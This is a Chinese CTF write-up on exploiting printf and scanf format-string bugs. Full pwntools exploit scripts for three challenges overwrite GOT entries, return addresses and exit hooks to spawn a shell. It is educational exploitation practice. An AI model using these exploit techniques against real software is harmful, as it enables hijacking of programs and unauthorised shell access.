[CTF]-PWN:格式化字符串漏洞题综合解析

news2024/10/2 13:23:05

printf型格式化字符串漏洞:

任意地址写:

32位:

例题(inndy_echo):

有格式化字符串漏洞,可以修改printf的got表内地址为system,传参getshell

解法一:

在32位中可以使用fmtstr_payload直接修改,免去很多麻烦

完整exp:

from pwn import*
p=process('./echo')
p=remote('node5.buuoj.cn',25852)
system_plt=0x8048400
printf_got=0x804A010
print(hex(system_plt))

payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
payload=b'/bin/sh\x00'
p.sendline(payload)
p.interactive()

这个没啥好讲的,只是这个函数64位几乎用不了。

解法二:

完整exp:

from pwn import*
p=process('./echo')
system_plt=0x8048400
printf_got=0x804A010

payload=b'%17$hhn'+b'%4c%18$hhn'+b'%4c%19$hhn'+b'%124c%20$hhn'
print(len(payload))
payload=payload.ljust(0x28,b'\x00')
payload+=p32(printf_got)+p32(printf_got+2)+p32(printf_got+3)+p32(printf_got+1)
print(len(payload))
p.sendline(payload)
p.interactive()

在这个方法中没有使用fmtstr_payload函数,虽然麻烦一点,但必须掌握。

先回顾一下知识点

在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位对于所有libc函数来说都是相同的,后24位不同。

在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位所有相同,后24位不同,这里不包含\x00截断。

以上情况包含了libc基地址+偏移过大的情况,在基地址较小的情况下甚至可以达到32位中前12位相同,64位中前28位相同。当然即使是在libc基地址+偏移过大的情况下,也会有部分函数32位中前12位相同,64位中前28位相同。

啥是libc基地址+偏移过大的情况?

部分函数的偏移过大,会影响下一个4位。

所以严谨地来说

在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位(1字节)对于所有libc函数来说都是相同的,后24位(3字节)不同。

在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位(3字节)所有相同,后24位(3字节)不同,这里不包含\x00截断。

回到题目,我们这里是把整个libc函数的真实地址修改为system的plt,所以不用管前多少位相同,统统改完就行,毕竟libc函数的真实地址跟system的plt一样只有4个字节,也就是32位。在这里提知识点只是防止知识点跟这道题搞混而已。

补充点:后面的printf_got记得要按小到大来覆盖。

64位:

例题(强网先锋 ez_fmt):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./ezfmt')
libc=ELF('/root/libc-2.31.so')
read_got=0x403FE0
w=0x404010
main=0x401196

p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(buf)
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)
p.send(payload)
p.recvuntil(b'0x')
libc_start_main243=int(b'0x'+p.recv(12),16)
libc_start_main=libc_start_main243-243
libcbase=libc_start_main-libc.sym['__libc_start_main']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]
payload=b'%'+str(onegadget&0xff).encode()+b'c%10$hhn'+b'%'+str((onegadget>>8&0xffff)-(onegadget&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(buf+0x68)+p64(buf+0x68+1)
p.send(payload)

p.interactive()
#6

把细一点的地方讲一下

p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(buf)
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)
p.send(payload)

这里是利用程序本身会进行一个ret操作把栈上的地址存入rip中,这个时候我们可以用格式化字符串漏洞去修改栈顶存储的地址就可以实现程序的再一次执行(而且这个地址是我们printf之后存入rip的,而且正好是把w的值变为0的那一个指令,这样既可以避免w被改为0,又可以让程序再次运行格式化字符串漏洞)

栈上是有libc_start_main+243的地址的,可以顺带泄露出来。

利用栈上存储了将要运行的程序地址可以故技重施,把返回地址修改为onegadget。

scanf型格式化字符串漏洞:

任意地址写:

例题(XYCTF2024 fmt):

这里没什么好说的

完整exp:


from pwn import*
context(log_level='debug')
#p=process('./fmt')
p=remote('gz.imxbt.cn',20975)
backdoor=0x4012BE
 
p.recvuntil(b'gift: ')
printf_addr=int(p.recv(14),16)
print(hex(printf_addr))
libc=ELF('./libc-2.31.so')
libcbase=printf_addr-libc.sym['printf']
exithook=libcbase+0x222f68
payload=b'%7$s'
payload=payload.ljust(8,b'\x00')
payload+=p64(exithook)
p.sendline(payload)
payload=p64(backdoor)
p.sendline(payload)
p.interactive()

这里操作的scanf格式化字符串任意写的实现条件:

1.可控制的格式化字符串的输入(因为要输入格式化字符串以及要修改的地址)

2.scanf

#补充点1:

在libc2.23中可以修改libcbase+0x5f0040+3848(指的是rtld_global+3848,以下以此类推)或libcbase+0x5f0040+3856为shell

在libc2.27可以修改libcbase+0x619060+3840或libcbase+0x619060+3848

这些地方被叫做exithook

持续更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1979173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言 操作符

操作符分多种:算术操作符,移位操作符,位操作符,赋值操作符,单目操作符,关系操作符,逻辑操作符,条件操作符,逗号表达式,下标引用,函数调用和结构成…

【Web开发手礼】探索Web开发的秘密(十四)-Vue2(1)Node.js的安装、Vue入门

主要介绍了Node.js的安装教程、Vue2常用的一些指令、声明周期!!! 文章目录 前言 Node.js安装 选择安装目录 验证NodeJS环境变量 配置npm的全局安装路径 切换npm的淘宝镜像 安装Vue-cli ​编辑 Vue2入门 引入vue.js文件 入门代码 常用指令 生…

眼在手外-机器人坐标系与相机坐标系标定方法

1 眼在手外坐标系概述 实现机械臂和相机的手眼标定,就是要通过双目相机坐标系、机械臂坐标系和机械臂 末端执行器三者的坐标系转换,求出手眼转换矩阵。设双目相机坐标系为 Oc,标定板坐标 系为 Ow,末端执行器坐标系为 Oe&#xff0…

【学习笔记】Day 3

一、进度概述 1、作业1 2、组会会议纪要——没太听懂,得再看 二、详情 1、作业1 (1)在python中,想要使output为图片,需要用的matplotlib库,这里做简单的整理,以便更好的理解代码。 …

ADC的介绍和工作原理

一,什么是ADC? Analog-to-Digital Converter,指模拟/数字转换器 什么是ADC: ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量,建立模拟电路到数字电路的桥梁 SUCH AS: 12 位 ADC 是一种逐次逼近…

免费【2024】springboot 导师选择管理系统的管理设计与实现

博主介绍:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围:SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

从零入门 AI for Science(AI+药物) 笔记 #Datawhale AI 夏令营

💖使用平台 我的Notebook 魔搭社区 https://modelscope.cn/my/mynotebook/preset . 魔搭高峰期打不开Task3又换回飞桨了 吧torch 架构换成了 飞桨的paddle 飞桨AI Studio星河社区-人工智能学习与实训社区 https://aistudio.baidu.com/projectdetail/8191835?cont…

解决电脑数字小键盘经常自动关闭的问题

本文解决了电脑数字小键盘经常自动关闭的问题,可供大家参考。 winR,输入regedit打开注册表 依次选择HKEY_USERS DEFAULT Control Panel---Keyboard”,将InitialKeyboardIndicators的值由2147483648改为80000002,即可解决。

xss漏洞(四,xss常见类型)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 前言: 1,本文基于dvwa靶场以及PHP study进行操作,靶场具体搭建参考上一篇: xss漏洞(二,xss靶场搭建以及简单…

[240804] OpenTofu 1.8.0 发布,带来更友好的编码体验 | 生成式 AI 滥用现象分析

目录 OpenTofu 1.8.0 发布,带来更友好的编码体验生成式 AI 滥用现象分析 OpenTofu 1.8.0 发布,带来更友好的编码体验 OpenTofu 1.8.0 现已发布,主要功能包括: 变量和局部值的早期求值: 现在可以在模块源、后端配置和状态加密等更…

西部数据HDD和闪存业务均在复苏加速

财务概览 西部数据(Western Digital)截至2024年7月341日的第四财季营收达到37.6亿美元,同比增长41%,超出预期的33亿美元,净利润达到3.3亿美元,与去年同期亏损7.15亿美元形成鲜明对比。整个2024财年的营收增…

C语言初阶(12)

1.调试的基本 调试是发现并解决C语言编译的bug的方法。 调试基本步骤是1.发现程序错误的存在 2.以隔离、消除等方式对错误进行定位 3.确定错误产生的原因 4.提出纠正错误的解决办法 5.对程序错误予以改正,重新测试 编译版本release和debug版本,releas…

一例AutoHotkey语言生成的文件夹病毒分析

概述 这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。 样本的基本信息 PE32库: AutoIt(3.XX)[-]编译…

Cocos Creator2D游戏开发(11)-飞机大战(9)-cocos发布微信小游戏

准备工作: ① cocosCreator ②微信小游戏开发者工具 第一步: cocosCreator 打包编译,设置发布平台,默认场景,设备方向,AppId 最后点击构建 等待构建完成 第二步: 导入微信开发者工具 就是cocos Creator 中构建发布里面的发布路径 然后编译: 剩下的就是微信开发者工具…

Bootstrap框架介绍

1、Bootstrap框架的下载和使用 Bootstrap框架是基于HTML、CSS、JavaScript的CCS/HTML框架,是一种封装好的前端框架。它包括js、css、front字体样式库。该框架下载链接:https://v3.bootcss.com/getting-started/#download,并选择下载源码。 建一个BootstrapDemo文件夹,将js…

反激式电源为什么上电最容易烧MOS管?

大家好,这里是大话硬件。 这篇文章总结一下最近在研究的反激电源RCD吸收回路和VDS尖峰问题。这也是为什么MOS管在开机容易被电压应力击穿的原因。 下图是反激电源变压器部分的拓扑。 在MOS开通时,VDS上电压: 由于Rdson比较小,MOS开通时,VDS电压也较小。此时,MOS漏极电…

对象存储及其相关概念介绍

对象存储是一种用来描述解决和处理离散单元(这些离散单元被称作为对象)的方法的通用术语。以下是关于对象存储的详细解析: 一、基本概念 定义:对象存储,也叫做基于对象的存储,是一种将数据以对象的形式进…

【过题记录】8.4(robocom补题,网络流)

今天robocom国赛,因为一个bool函数忘记return 1而裂开(错失21分) 以此为戒 贪心消消乐 其实就是一个求最大子矩阵和的板子题 利用最大子段和的思想 枚举矩阵中的上下界 压成一维后利用最大子段和 O ( n ) O(n) O(n)处理 复杂度 O ( n 3 ∗ k ) O(n^3*k) O(n3∗k) k为…

VSCode开发Go的精准定位

下载Golang安装包 Download and install - The Go Programming Languagehttps://golang.google.cn/doc/install 安装完成后,配置go env go env -w GO111MODULE=on go env -w GOPROXY="https://goproxy.io,direct"

Maven介绍安装【后端 1】

Maven 入门与安装指南 引言 在Java开发领域,Maven作为一款强大的项目管理和构建工具,广受开发者喜爱。它不仅能够帮助我们管理项目依赖,还能统一项目结构,提供跨平台的自动化构建方式。本文将详细介绍Maven的基本概念、安装步骤以…